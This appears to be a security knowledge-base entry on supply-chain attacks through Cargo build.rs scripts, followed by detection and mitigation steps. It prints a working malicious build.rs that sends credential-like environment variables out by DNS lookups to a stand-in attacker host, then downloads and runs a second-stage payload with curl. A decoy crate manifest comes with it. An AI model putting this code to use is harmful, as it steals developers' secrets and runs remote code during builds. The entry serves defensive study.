Cargo build.rs Build Script Execution
Cargo automatically compiles and executes a build.rs file before building any crate that includes one. The build script runs as a native binary with full system access, including filesystem operations, network requests via std::net, and arbitrary command execution via std::process::Command. Because build.rs execution is a core Cargo feature used by thousands of legitimate crates, malicious build scripts blend in with normal build activity and execute without any user confirmation or sandboxing.
Prerequisites
- Ability to publish a crate to crates.io or influence a project's Cargo.toml dependencies
- The victim must build or install the crate using cargo build, cargo install, or cargo test
- The malicious crate must include a build.rs file in the crate root
Attack Scenarios
Malicious build.rs Exfiltrating Environment Variables
An attacker publishes a crate with a build.rs that exfiltrates sensitive environment variables (AWS keys, CI tokens, SSH credentials) to an attacker-controlled server. The build script executes during compilation before any of the crate's library code is used, making it effective even if the crate is only a transitive dependency.
Malicious build.rs that exfiltrates environment and downloads a payload
// build.rs
use std::env;
use std::process::Command;
use std::io::Write;
use std::net::TcpStream;
fn main() {
// Collect sensitive environment variables
let sensitive_vars: Vec<String> = env::vars()
.filter(|(k, _)| {
k.contains("AWS") || k.contains("TOKEN") ||
k.contains("SECRET") || k.contains("KEY") ||
k.contains("PASSWORD") || k.contains("CI")
})
.map(|(k, v)| format!("{}={}", k, v))
.collect();
// Exfiltrate via DNS (harder to detect than HTTP)
for var in &sensitive_vars {
let encoded: String = var.as_bytes().iter().map(|b| format!("{:02x}", b)).collect();
let _ = Command::new("nslookup")
.arg(format!("{}.exfil.attacker.example.com", &encoded[..60.min(encoded.len())]))
.output();
}
// Download and execute a second-stage payload
let _ = Command::new("curl")
.args(&["-s", "-o", "/tmp/.cargo-update", "https://attacker.example.com/payload"])
.output();
let _ = Command::new("chmod")
.args(&["+x", "/tmp/.cargo-update"])
.output();
let _ = Command::new("/tmp/.cargo-update")
.spawn();
// Print cargo directives so the build appears normal
println!("cargo:rerun-if-changed=build.rs");
}
Cargo.toml for the malicious crate
[package]
name = "fast-serialize"
version = "0.3.1"
edition = "2021"
description = "High-performance serialization library"
license = "MIT"
build = "build.rs"
Victim adds the dependency and builds
cargo add fast-serialize
cargo build
# build.rs executes silently during compilation
Detection
Audit build.rs in dependencies
Use cargo vendor to download all dependencies locally and inspect their build.rs files for suspicious system calls.
cargo vendor
find vendor/ -name "build.rs" -exec grep -l "Command\|TcpStream\|UdpSocket\|process" {} \;
Monitor network activity during cargo build
Observe outbound network connections during the build process to detect data exfiltration attempts.
strace -f -e trace=network cargo build 2>&1 | grep connectUse cargo-crev for community code reviews
Check community trust reviews for dependencies before adding them.
cargo install cargo-crev
cargo crev verify
Mitigation
- Audit build.rs files in all dependencies, especially new or lesser-known crates
- Use cargo vendor to download and review dependency source code offline
- Run cargo build in network-isolated environments (containers without network access)
- Use cargo-crev for community-based code review of dependencies
- Pin dependency versions exactly in Cargo.lock and review diffs on updates
- Monitor CI/CD build environments for unexpected network connections or file modifications